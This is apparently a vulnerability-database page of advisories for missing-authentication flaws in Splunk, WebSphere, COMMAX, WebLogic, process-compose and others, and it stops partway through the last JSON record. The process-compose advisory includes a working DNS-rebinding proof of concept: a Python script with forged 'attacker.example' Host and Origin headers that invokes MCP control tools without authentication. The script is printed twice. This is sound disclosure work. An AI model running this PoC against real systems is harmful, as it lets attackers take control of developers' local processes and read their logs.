Common Weakness Enumeration

CWE-306

Allowed

Missing Authentication for Critical Function

Abstraction: Base · Status: Draft

The product does not perform any authentication for functionality that requires a provable user identity or consumes a significant amount of resources.

4625 vulnerabilities reference this CWE, most recent first.

GHSA-5GHX-2VFX-7347

Vulnerability from github – Published: 2023-08-30 18:30 – Updated: 2023-11-03 03:30
VLAI
Details

In Splunk Enterprise versions below 8.2.12, 9.0.6, and 9.1.1, an attacker can create an external lookup that calls a legacy internal function. The attacker can use this internal function to insert code into the Splunk platform installation directory. From there, a user can execute arbitrary code on the Splunk platform Instance.

Show details on source website

{
  "affected": [],
  "aliases": [
    "CVE-2023-40598"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-306"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2023-08-30T17:15:10Z",
    "severity": "HIGH"
  },
  "details": "In Splunk Enterprise versions below 8.2.12, 9.0.6, and 9.1.1, an attacker can create an external lookup that calls a legacy internal function. The attacker can use this internal function to insert code into the Splunk platform installation directory. From there, a user can execute arbitrary code on the Splunk platform Instance.",
  "id": "GHSA-5ghx-2vfx-7347",
  "modified": "2023-11-03T03:30:23Z",
  "published": "2023-08-30T18:30:23Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2023-40598"
    },
    {
      "type": "WEB",
      "url": "https://advisory.splunk.com/advisories/SVD-2023-0807"
    },
    {
      "type": "WEB",
      "url": "https://research.splunk.com/application/ee69374a-d27e-4136-adac-956a96ff60fd"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:C/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-5GJ2-QR7H-MVWP

Vulnerability from github – Published: 2026-07-28 21:31 – Updated: 2026-07-28 21:31
VLAI
Details

IBM WebSphere Application Server 9.0, and 8.5 is vulnerable to broken access control/privilege escalation in the administrative console.

Show details on source website

{
  "affected": [],
  "aliases": [
    "CVE-2026-14446"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-306"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2026-07-28T21:17:25Z",
    "severity": "CRITICAL"
  },
  "details": "IBM WebSphere Application Server 9.0, and 8.5 is vulnerable to broken access control/privilege escalation in the administrative console.",
  "id": "GHSA-5gj2-qr7h-mvwp",
  "modified": "2026-07-28T21:31:34Z",
  "published": "2026-07-28T21:31:34Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-14446"
    },
    {
      "type": "WEB",
      "url": "https://www.ibm.com/support/pages/node/7281631"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-5GM3-9CRP-6G3V

Vulnerability from github – Published: 2026-09-18 17:17 – Updated: 2026-09-18 17:17
VLAI
Summary
Process Compose: Browser DNS rebinding lets websites control local process-compose MCP tools
Details

Summary

A malicious website can use DNS rebinding to control a developer's local process-compose MCP SSE listener when MCP SSE is enabled. The vulnerable path accepts browser-origin requests before any Host validation, Origin validation, or caller-secret check, then dispatches the requests into process-compose MCP tools.

This advisory covers https://github.com/F1bonacc1/process-compose, confirmed at commit d56aa59df04b72f8644811ac581a051bec05e485.

The issue is in the MCP SSE transport, not the Gin REST API. The REST API token middleware protects REST routes, but the MCP listener is started separately and does not inherit that protection.

Affected Code

Root cause:

src/types/mcp.go:24-30      SSE is the default MCP transport when mcp_server.transport is omitted.
src/types/mcp.go:64-70      SSE configuration requires only host and port. There is no auth, Host allowlist, Origin allowlist, or caller-secret field.
src/mcp/server.go:203-214   The server starts server.NewSSEServer(s.mcpServer) directly on the configured address.
src/api/routes.go:32-39     X-PC-Token-Key middleware is installed on the Gin REST router, not on the MCP SSE listener.

Impact surface:

src/mcp/mcp_manager.go:33-38     expose_control_tools registers built-in process-compose control tools.
src/mcp/control_tools.go:26-116  The registered tools start, stop, restart, scale, read logs, search logs, and truncate logs.
src/mcp/control_tools.go:121-142 The registered tools return project and process state.

Reproduction

Start process-compose from the affected commit with MCP SSE and built-in control tools enabled:

workdir="$(mktemp -d)"
cd "$workdir"
git clone https://github.com/F1bonacc1/process-compose process-compose-target
cd process-compose-target
git checkout d56aa59df04b72f8644811ac581a051bec05e485

go build -o ./process-compose-poc .

cat > process-compose-mcp-poc.yaml <<'YAML'
mcp_server:
  host: 127.0.0.1
  port: 8081
  transport: sse
  expose_control_tools: true

processes:
  sleeper:
    command: "sleep 600"
    disabled: true
YAML

PC_NO_SERVER=1 PC_DISABLE_DOTENV=1 ./process-compose-poc up \
  -f ./process-compose-mcp-poc.yaml \
  -t=false \
  --no-server \
  --keep-project \
  --log-file ./process-compose-mcp-poc.log

In a second terminal, emulate the browser request shape produced by DNS rebinding. A real attacker page keeps Host: attacker.example:8081 and Origin: http://attacker.example:8081 while the hostname resolves to 127.0.0.1. The script below sends that same request shape to the local MCP SSE listener:

python3 - <<'PY'
import http.client
import json
import queue
import threading
import time
import urllib.parse

host = "127.0.0.1"
port = 8081
attacker_host = "attacker.example:8081"
origin = "http://attacker.example:8081"
headers = {
    "Host": attacker_host,
    "Origin": origin,
    "Accept": "text/event-stream",
}

events = queue.Queue()

def read_sse(resp):
    event = None
    data = None
    while True:
        line = resp.readline()
        if not line:
            return
        text = line.decode("utf-8", "replace").strip()
        if text.startswith("event:"):
            event = text.split(":", 1)[1].strip()
        elif text.startswith("data:"):
            data = text.split(":", 1)[1].strip()
        elif text == "" and (event or data):
            events.put((event, data))
            event = None
            data = None

conn = http.client.HTTPConnection(host, port, timeout=10)
conn.request("GET", "/sse", headers=headers)
resp = conn.getresponse()
print("GET /sse", resp.status)
print("Access-Control-Allow-Origin:", resp.getheader("Access-Control-Allow-Origin"))
threading.Thread(target=read_sse, args=(resp,), daemon=True).start()

endpoint = None
deadline = time.time() + 10
while time.time() < deadline:
    event, data = events.get(timeout=1)
    if event == "endpoint":
        endpoint = data
        break
assert endpoint, "no SSE endpoint event"
print("endpoint", endpoint)

def post(message):
    parsed = urllib.parse.urlparse(endpoint)
    path = parsed.path + ("?" + parsed.query if parsed.query else "")
    body = json.dumps(message).encode()
    c = http.client.HTTPConnection(host, port, timeout=10)
    c.request("POST", path, body=body, headers={
        "Host": attacker_host,
        "Origin": origin,
        "Content-Type": "application/json",
        "Content-Length": str(len(body)),
        "Authorization": "Bearer invalid-replay-token",
    })
    r = c.getresponse()
    r.read()
    c.close()
    print("POST", message.get("method"), r.status)

def wait_result(rpc_id):
    deadline = time.time() + 10
    while time.time() < deadline:
        event, data = events.get(timeout=1)
        if event == "message" and data:
            msg = json.loads(data)
            if msg.get("id") == rpc_id:
                return msg
    raise SystemExit(f"no result for id {rpc_id}")

post({
    "jsonrpc": "2.0",
    "id": 1,
    "method": "initialize",
    "params": {
        "protocolVersion": "2024-11-05",
        "capabilities": {},
        "clientInfo": {"name": "rebind-poc", "version": "1.0.0"}
    }
})
print(json.dumps(wait_result(1), indent=2))

post({"jsonrpc": "2.0", "method": "notifications/initialized", "params": {}})

post({"jsonrpc": "2.0", "id": 2, "method": "tools/list", "params": {}})
tools = wait_result(2)
names = [tool["name"] for tool in tools["result"]["tools"]]
print("tools", names)

post({
    "jsonrpc": "2.0",
    "id": 3,
    "method": "tools/call",
    "params": {
        "name": "pc_process_list",
        "arguments": {}
    }
})
print(json.dumps(wait_result(3), indent=2))
PY

Observed Result

The MCP SSE listener accepted the forged browser-origin request shape:

Host: attacker.example:8081
Origin: http://attacker.example:8081
Authorization: Bearer invalid-replay-token

The server returned GET /sse: HTTP 200 with Access-Control-Allow-Origin: *. The MCP session then completed initialize, returned the process-compose tool catalog, and allowed tools/call to reach a process-control handler.

The operator reproduced the issue against the genuine process-compose target and observed pc_process_list returning:

{
  "data": [
    {
      "name": "sleeper",
      "namespace": "default",
      "status": "Disabled",
      "system_time": "-",
      "age": 0,
      "is_ready": "-",
      "has_ready_probe": false,
      "restarts": 0,
      "exit_code": 0,
      "pid": 0,
      "is_elevated": false,
      "password_provided": false,
      "mem": 0,
      "cpu": 0,
      "is_running": false
    }
  ]
}

Earlier replay against the same target also listed 13 pc_* MCP control tools and reached project-state and process-control calls through the SSE message endpoint.

Impact

A web attacker can drive local process-compose MCP requests from the victim browser when the operator has enabled MCP SSE. The attacker does not need a bearer token, API key, cookie, client certificate, or CSRF token.

With expose_control_tools: true, the same unauthenticated browser-origin path can enumerate process state, read logs, search logs, truncate logs, start processes, stop processes, restart processes, and scale processes. If the operator exposes user-defined MCP process tools, the attacker can invoke those configured commands and read their output.

Process logs and process output often contain service names, local paths, usernames, runtime state, internal URLs, and secrets emitted by child processes. Start, stop, restart, scale, and log truncation are process-control operations on the developer's local process-compose project.

Suggested Fix

Add a target-side trust boundary to the MCP SSE listener before MCP dispatch:

  1. Reject requests whose Host header is not loopback or an explicit configured trusted name.
  2. Reject browser requests whose Origin is not a trusted loopback or configured origin.
  3. Require a random per-run bearer token or equivalent caller secret on both /sse and the returned /message endpoint.
  4. Do not rely on localhost reachability as an authentication boundary for browser-reachable HTTP transports.
  5. Consider requiring an explicit authentication setting before starting SSE MCP with process-control tools.
Show details on source website

{
  "affected": [
    {
      "package": {
        "ecosystem": "Go",
        "name": "github.com/f1bonacc1/process-compose"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "1.120.0"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-77339"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-306",
      "CWE-346"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-09-18T17:17:51Z",
    "nvd_published_at": null,
    "severity": "MODERATE"
  },
  "details": "## Summary\n\nA malicious website can use DNS rebinding to control a developer\u0027s local process-compose MCP SSE listener when MCP SSE is enabled. The vulnerable path accepts browser-origin requests before any Host validation, Origin validation, or caller-secret check, then dispatches the requests into process-compose MCP tools.\n\nThis advisory covers `https://github.com/F1bonacc1/process-compose`, confirmed at commit `d56aa59df04b72f8644811ac581a051bec05e485`.\n\nThe issue is in the MCP SSE transport, not the Gin REST API. The REST API token middleware protects REST routes, but the MCP listener is started separately and does not inherit that protection.\n\n## Affected Code\n\nRoot cause:\n\n```text\nsrc/types/mcp.go:24-30      SSE is the default MCP transport when mcp_server.transport is omitted.\nsrc/types/mcp.go:64-70      SSE configuration requires only host and port. There is no auth, Host allowlist, Origin allowlist, or caller-secret field.\nsrc/mcp/server.go:203-214   The server starts server.NewSSEServer(s.mcpServer) directly on the configured address.\nsrc/api/routes.go:32-39     X-PC-Token-Key middleware is installed on the Gin REST router, not on the MCP SSE listener.\n```\n\nImpact surface:\n\n```text\nsrc/mcp/mcp_manager.go:33-38     expose_control_tools registers built-in process-compose control tools.\nsrc/mcp/control_tools.go:26-116  The registered tools start, stop, restart, scale, read logs, search logs, and truncate logs.\nsrc/mcp/control_tools.go:121-142 The registered tools return project and process state.\n```\n\n## Reproduction\n\nStart process-compose from the affected commit with MCP SSE and built-in control tools enabled:\n\n```bash\nworkdir=\"$(mktemp -d)\"\ncd \"$workdir\"\ngit clone https://github.com/F1bonacc1/process-compose process-compose-target\ncd process-compose-target\ngit checkout d56aa59df04b72f8644811ac581a051bec05e485\n\ngo build -o ./process-compose-poc .\n\ncat \u003e process-compose-mcp-poc.yaml \u003c\u003c\u0027YAML\u0027\nmcp_server:\n  host: 127.0.0.1\n  port: 8081\n  transport: sse\n  expose_control_tools: true\n\nprocesses:\n  sleeper:\n    command: \"sleep 600\"\n    disabled: true\nYAML\n\nPC_NO_SERVER=1 PC_DISABLE_DOTENV=1 ./process-compose-poc up \\\n  -f ./process-compose-mcp-poc.yaml \\\n  -t=false \\\n  --no-server \\\n  --keep-project \\\n  --log-file ./process-compose-mcp-poc.log\n```\n\nIn a second terminal, emulate the browser request shape produced by DNS rebinding. A real attacker page keeps `Host: attacker.example:8081` and `Origin: http://attacker.example:8081` while the hostname resolves to `127.0.0.1`. The script below sends that same request shape to the local MCP SSE listener:\n\n```bash\npython3 - \u003c\u003c\u0027PY\u0027\nimport http.client\nimport json\nimport queue\nimport threading\nimport time\nimport urllib.parse\n\nhost = \"127.0.0.1\"\nport = 8081\nattacker_host = \"attacker.example:8081\"\norigin = \"http://attacker.example:8081\"\nheaders = {\n    \"Host\": attacker_host,\n    \"Origin\": origin,\n    \"Accept\": \"text/event-stream\",\n}\n\nevents = queue.Queue()\n\ndef read_sse(resp):\n    event = None\n    data = None\n    while True:\n        line = resp.readline()\n        if not line:\n            return\n        text = line.decode(\"utf-8\", \"replace\").strip()\n        if text.startswith(\"event:\"):\n            event = text.split(\":\", 1)[1].strip()\n        elif text.startswith(\"data:\"):\n            data = text.split(\":\", 1)[1].strip()\n        elif text == \"\" and (event or data):\n            events.put((event, data))\n            event = None\n            data = None\n\nconn = http.client.HTTPConnection(host, port, timeout=10)\nconn.request(\"GET\", \"/sse\", headers=headers)\nresp = conn.getresponse()\nprint(\"GET /sse\", resp.status)\nprint(\"Access-Control-Allow-Origin:\", resp.getheader(\"Access-Control-Allow-Origin\"))\nthreading.Thread(target=read_sse, args=(resp,), daemon=True).start()\n\nendpoint = None\ndeadline = time.time() + 10\nwhile time.time() \u003c deadline:\n    event, data = events.get(timeout=1)\n    if event == \"endpoint\":\n        endpoint = data\n        break\nassert endpoint, \"no SSE endpoint event\"\nprint(\"endpoint\", endpoint)\n\ndef post(message):\n    parsed = urllib.parse.urlparse(endpoint)\n    path = parsed.path + (\"?\" + parsed.query if parsed.query else \"\")\n    body = json.dumps(message).encode()\n    c = http.client.HTTPConnection(host, port, timeout=10)\n    c.request(\"POST\", path, body=body, headers={\n        \"Host\": attacker_host,\n        \"Origin\": origin,\n        \"Content-Type\": \"application/json\",\n        \"Content-Length\": str(len(body)),\n        \"Authorization\": \"Bearer invalid-replay-token\",\n    })\n    r = c.getresponse()\n    r.read()\n    c.close()\n    print(\"POST\", message.get(\"method\"), r.status)\n\ndef wait_result(rpc_id):\n    deadline = time.time() + 10\n    while time.time() \u003c deadline:\n        event, data = events.get(timeout=1)\n        if event == \"message\" and data:\n            msg = json.loads(data)\n            if msg.get(\"id\") == rpc_id:\n                return msg\n    raise SystemExit(f\"no result for id {rpc_id}\")\n\npost({\n    \"jsonrpc\": \"2.0\",\n    \"id\": 1,\n    \"method\": \"initialize\",\n    \"params\": {\n        \"protocolVersion\": \"2024-11-05\",\n        \"capabilities\": {},\n        \"clientInfo\": {\"name\": \"rebind-poc\", \"version\": \"1.0.0\"}\n    }\n})\nprint(json.dumps(wait_result(1), indent=2))\n\npost({\"jsonrpc\": \"2.0\", \"method\": \"notifications/initialized\", \"params\": {}})\n\npost({\"jsonrpc\": \"2.0\", \"id\": 2, \"method\": \"tools/list\", \"params\": {}})\ntools = wait_result(2)\nnames = [tool[\"name\"] for tool in tools[\"result\"][\"tools\"]]\nprint(\"tools\", names)\n\npost({\n    \"jsonrpc\": \"2.0\",\n    \"id\": 3,\n    \"method\": \"tools/call\",\n    \"params\": {\n        \"name\": \"pc_process_list\",\n        \"arguments\": {}\n    }\n})\nprint(json.dumps(wait_result(3), indent=2))\nPY\n```\n\n## Observed Result\n\nThe MCP SSE listener accepted the forged browser-origin request shape:\n\n```text\nHost: attacker.example:8081\nOrigin: http://attacker.example:8081\nAuthorization: Bearer invalid-replay-token\n```\n\nThe server returned `GET /sse: HTTP 200` with `Access-Control-Allow-Origin: *`. The MCP session then completed `initialize`, returned the process-compose tool catalog, and allowed `tools/call` to reach a process-control handler.\n\nThe operator reproduced the issue against the genuine process-compose target and observed `pc_process_list` returning:\n\n```json\n{\n  \"data\": [\n    {\n      \"name\": \"sleeper\",\n      \"namespace\": \"default\",\n      \"status\": \"Disabled\",\n      \"system_time\": \"-\",\n      \"age\": 0,\n      \"is_ready\": \"-\",\n      \"has_ready_probe\": false,\n      \"restarts\": 0,\n      \"exit_code\": 0,\n      \"pid\": 0,\n      \"is_elevated\": false,\n      \"password_provided\": false,\n      \"mem\": 0,\n      \"cpu\": 0,\n      \"is_running\": false\n    }\n  ]\n}\n```\n\nEarlier replay against the same target also listed 13 `pc_*` MCP control tools and reached project-state and process-control calls through the SSE message endpoint.\n\n## Impact\n\nA web attacker can drive local process-compose MCP requests from the victim browser when the operator has enabled MCP SSE. The attacker does not need a bearer token, API key, cookie, client certificate, or CSRF token.\n\nWith `expose_control_tools: true`, the same unauthenticated browser-origin path can enumerate process state, read logs, search logs, truncate logs, start processes, stop processes, restart processes, and scale processes. If the operator exposes user-defined MCP process tools, the attacker can invoke those configured commands and read their output.\n\nProcess logs and process output often contain service names, local paths, usernames, runtime state, internal URLs, and secrets emitted by child processes. Start, stop, restart, scale, and log truncation are process-control operations on the developer\u0027s local process-compose project.\n\n## Suggested Fix\n\nAdd a target-side trust boundary to the MCP SSE listener before MCP dispatch:\n\n1. Reject requests whose `Host` header is not loopback or an explicit configured trusted name.\n2. Reject browser requests whose `Origin` is not a trusted loopback or configured origin.\n3. Require a random per-run bearer token or equivalent caller secret on both `/sse` and the returned `/message` endpoint.\n4. Do not rely on localhost reachability as an authentication boundary for browser-reachable HTTP transports.\n5. Consider requiring an explicit authentication setting before starting SSE MCP with process-control tools.",
  "id": "GHSA-5gm3-9crp-6g3v",
  "modified": "2026-09-18T17:17:51Z",
  "published": "2026-09-18T17:17:51Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/F1bonacc1/process-compose/security/advisories/GHSA-5gm3-9crp-6g3v"
    },
    {
      "type": "WEB",
      "url": "https://github.com/F1bonacc1/process-compose/commit/6ffa74f462cd2fa4f8dc1ee63c70b793b298c858"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/F1bonacc1/process-compose"
    },
    {
      "type": "WEB",
      "url": "https://github.com/F1bonacc1/process-compose/releases/tag/v1.120.0"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:P/VC:L/VI:L/VA:N/SC:L/SI:H/SA:N",
      "type": "CVSS_V4"
    }
  ],
  "summary": "Process Compose: Browser DNS rebinding lets websites control local process-compose MCP tools"
}

GHSA-5GPJ-JHMX-464R

Vulnerability from github – Published: 2025-12-09 21:31 – Updated: 2025-12-09 21:31
VLAI
Details

COMMAX Smart Home System allows an unauthenticated attacker to change configuration and cause denial-of-service through the setconf endpoint. Attackers can trigger a denial-of-service scenario by sending a malformed request to the setconf endpoint.

Show details on source website

{
  "affected": [],
  "aliases": [
    "CVE-2021-47709"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-306"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2025-12-09T21:15:49Z",
    "severity": "HIGH"
  },
  "details": "COMMAX Smart Home System allows an unauthenticated attacker to change configuration and cause denial-of-service through the setconf endpoint. Attackers can trigger a denial-of-service scenario by sending a malformed request to the setconf endpoint.",
  "id": "GHSA-5gpj-jhmx-464r",
  "modified": "2025-12-09T21:31:48Z",
  "published": "2025-12-09T21:31:48Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2021-47709"
    },
    {
      "type": "WEB",
      "url": "https://www.commax.com"
    },
    {
      "type": "WEB",
      "url": "https://www.exploit-db.com/exploits/50209"
    },
    {
      "type": "WEB",
      "url": "https://www.vulncheck.com/advisories/commax-smart-home-ruvie-cctv-bridge-dvr-service-config-write-dos"
    },
    {
      "type": "WEB",
      "url": "https://www.zeroscience.mk/en/vulnerabilities/ZSL-2021-5666.php"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X",
      "type": "CVSS_V4"
    }
  ]
}

GHSA-5GPR-3236-XVJX

Vulnerability from github – Published: 2023-01-18 00:30 – Updated: 2023-01-18 00:30
VLAI
Details

Vulnerability in the Oracle WebLogic Server product of Oracle Fusion Middleware (component: Core). Supported versions that are affected are 12.2.1.3.0, 12.2.1.4.0 and 14.1.1.0.0. Easily exploitable vulnerability allows unauthenticated attacker with network access via IIOP to compromise Oracle WebLogic Server. Successful attacks of this vulnerability can result in unauthorized access to critical data or complete access to all Oracle WebLogic Server accessible data. CVSS 3.1 Base Score 7.5 (Confidentiality impacts). CVSS Vector: (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N).

Show details on source website

{
  "affected": [],
  "aliases": [
    "CVE-2023-21837"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-306"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2023-01-18T00:15:00Z",
    "severity": "HIGH"
  },
  "details": "Vulnerability in the Oracle WebLogic Server product of Oracle Fusion Middleware (component: Core).  Supported versions that are affected are 12.2.1.3.0, 12.2.1.4.0 and  14.1.1.0.0. Easily exploitable vulnerability allows unauthenticated attacker with network access via IIOP to compromise Oracle WebLogic Server.  Successful attacks of this vulnerability can result in  unauthorized access to critical data or complete access to all Oracle WebLogic Server accessible data. CVSS 3.1 Base Score 7.5 (Confidentiality impacts).  CVSS Vector: (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N).",
  "id": "GHSA-5gpr-3236-xvjx",
  "modified": "2023-01-18T00:30:17Z",
  "published": "2023-01-18T00:30:17Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2023-21837"
    },
    {
      "type": "WEB",
      "url": "https://www.oracle.com/security-alerts/cpujan2023.html"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-5GQ3-GP97-C3Q6

Vulnerability from github – Published: 2025-12-04 21:31 – Updated: 2025-12-04 21:31
VLAI
Details

AirKeyboard iOS App 1.0.5 contains a missing authentication vulnerability that allows unauthenticated attackers to type arbitrary keystrokes directly into the victim's iOS device in real-time without user interaction, resulting in full remote input control.

Show details on source website

{
  "affected": [],
  "aliases": [
    "CVE-2025-66555"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-306"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2025-12-04T21:16:09Z",
    "severity": "HIGH"
  },
  "details": "AirKeyboard iOS App 1.0.5 contains a missing authentication vulnerability that allows unauthenticated attackers to type arbitrary keystrokes directly into the victim\u0027s iOS device in real-time without user interaction, resulting in full remote input control.",
  "id": "GHSA-5gq3-gp97-c3q6",
  "modified": "2025-12-04T21:31:06Z",
  "published": "2025-12-04T21:31:06Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2025-66555"
    },
    {
      "type": "WEB",
      "url": "https://airkeyboardapp.com"
    },
    {
      "type": "WEB",
      "url": "https://apps.apple.com/us/app/air-keyboard/id6463187929"
    },
    {
      "type": "WEB",
      "url": "https://www.exploit-db.com/exploits/52333"
    },
    {
      "type": "WEB",
      "url": "https://www.vulncheck.com/advisories/airkeyboard-ios-app-105-remote-input-injection"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:L/VI:H/VA:L/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X",
      "type": "CVSS_V4"
    }
  ]
}

GHSA-5H3V-8M6Q-48C4

Vulnerability from github – Published: 2022-05-24 19:14 – Updated: 2022-10-27 19:00
VLAI
Details

Properly formatted POST requests to multiple resources on the HTTP and HTTPS web servers of the Digi PortServer TS 16 Rack device do not require authentication or authentication tokens. This vulnerability could allow an attacker to enable the SNMP service and manipulate the community strings to achieve further control in.

Show details on source website

{
  "affected": [],
  "aliases": [
    "CVE-2021-38412"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-287",
      "CWE-306"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2021-09-17T20:15:00Z",
    "severity": "CRITICAL"
  },
  "details": "Properly formatted POST requests to multiple resources on the HTTP and HTTPS web servers of the Digi PortServer TS 16 Rack device do not require authentication or authentication tokens. This vulnerability could allow an attacker to enable the SNMP service and manipulate the community strings to achieve further control in.",
  "id": "GHSA-5h3v-8m6q-48c4",
  "modified": "2022-10-27T19:00:39Z",
  "published": "2022-05-24T19:14:54Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2021-38412"
    },
    {
      "type": "WEB",
      "url": "https://us-cert.cisa.gov/ics/advisories/icsa-21-257-01"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-5H56-HF5Q-PHRW

Vulnerability from github – Published: 2026-09-04 15:36 – Updated: 2026-09-04 15:36
VLAI
Details

Aim 3.29.1 remote tracking server fails to authenticate requests and dispatches arbitrary methods through getattr without allowlist validation. Unauthenticated attackers can register clients, instantiate Repo resources, and invoke arbitrary methods to read experiments or delete runs.

Show details on source website

{
  "affected": [],
  "aliases": [
    "CVE-2026-85663"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-306"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2026-09-04T15:17:43Z",
    "severity": "CRITICAL"
  },
  "details": "Aim 3.29.1 remote tracking server fails to authenticate requests and dispatches arbitrary methods through getattr without allowlist validation. Unauthenticated attackers can register clients, instantiate Repo resources, and invoke arbitrary methods to read experiments or delete runs.",
  "id": "GHSA-5h56-hf5q-phrw",
  "modified": "2026-09-04T15:36:14Z",
  "published": "2026-09-04T15:36:14Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-85663"
    },
    {
      "type": "WEB",
      "url": "https://github.com/aimhubio/aim/issues/3412"
    },
    {
      "type": "WEB",
      "url": "https://github.com/aimhubio/aim"
    },
    {
      "type": "WEB",
      "url": "https://github.com/aimhubio/aim/blob/v3.29.1/aim/ext/transport/server.py"
    },
    {
      "type": "WEB",
      "url": "https://github.com/aimhubio/aim/blob/v3.29.1/aim/ext/transport/tracking.py"
    },
    {
      "type": "WEB",
      "url": "https://www.vulncheck.com/advisories/aim-3.29.1-remote-code-execution-via-unauthenticated-method-dispatch"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    },
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X",
      "type": "CVSS_V4"
    }
  ]
}

GHSA-5H7X-8FGV-QG8C

Vulnerability from github – Published: 2026-08-11 18:31 – Updated: 2026-08-11 18:31
VLAI
Details

Missing authentication for critical function in Windows Remote Desktop Services allows an authorized attacker to elevate privileges locally.

Show details on source website

{
  "affected": [],
  "aliases": [
    "CVE-2026-61365"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-306"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2026-08-11T17:18:11Z",
    "severity": "HIGH"
  },
  "details": "Missing authentication for critical function in Windows Remote Desktop Services allows an authorized attacker to elevate privileges locally.",
  "id": "GHSA-5h7x-8fgv-qg8c",
  "modified": "2026-08-11T18:31:07Z",
  "published": "2026-08-11T18:31:07Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-61365"
    },
    {
      "type": "WEB",
      "url": "https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-61365"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-5H8M-GW93-F3W6

Vulnerability from github – Published: 2024-06-05 12:31 – Updated: 2026-06-05 15:32
VLAI
Details

Exposure of Sensitive Information to an Unauthorized Actor vulnerability in PORTY Smart Tech Technology Joint Stock Company PowerBank Application allows Retrieve Embedded Sensitive Data.This issue affects PowerBank Application: before 2.02.

Show details on source website

{
  "affected": [],
  "aliases": [
    "CVE-2024-1662"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-200",
      "CWE-306"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2024-06-05T12:15:10Z",
    "severity": "HIGH"
  },
